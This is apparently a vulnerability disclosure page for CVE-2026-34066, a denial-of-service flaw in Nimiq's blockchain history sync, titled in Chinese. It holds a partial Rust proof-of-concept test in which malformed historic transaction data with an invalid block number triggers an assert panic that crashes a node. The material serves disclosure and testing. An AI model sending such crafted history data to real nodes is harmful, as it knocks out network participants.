CVE-2026-34066 Nimiq区块链历史同步拒绝服务漏洞

// Conceptual PoC: Malformed history data triggering the assert // This demonstrates the vulnerability where a panic occurs due to invalid block_number. #[test] fn test_cve_2026_34066_panic() { // Simulate the vulnerable environment prior to v1.3.0 // In a real scenario, this data comes from a malicious peer during sync. // Assume a valid macro block context exists, e.g., Block 100, Epoch 1. let current_macro_block = 100; let current_epoch = 1; // Construct a malicious HistoricTransaction list. // The invariant is: block_number must be within the macro block and same epoch. // We intentionally violate this by setting a block_number from a different epoch/out of bounds. let malicious_history = vec![ HistoricTransaction { block_number: 99999, // Invalid: Violates invariants // ... other fields ... } ]; // The vulnerable function call. // In versions < 1.3.0, put_historic_txns uses `assert!` internally. // Passing the malicious history here triggers the panic immediately. // This simulates the attack path where the node crashes before verifying the hash root. HistoryStore::put_historic_txns(&malicious_history); }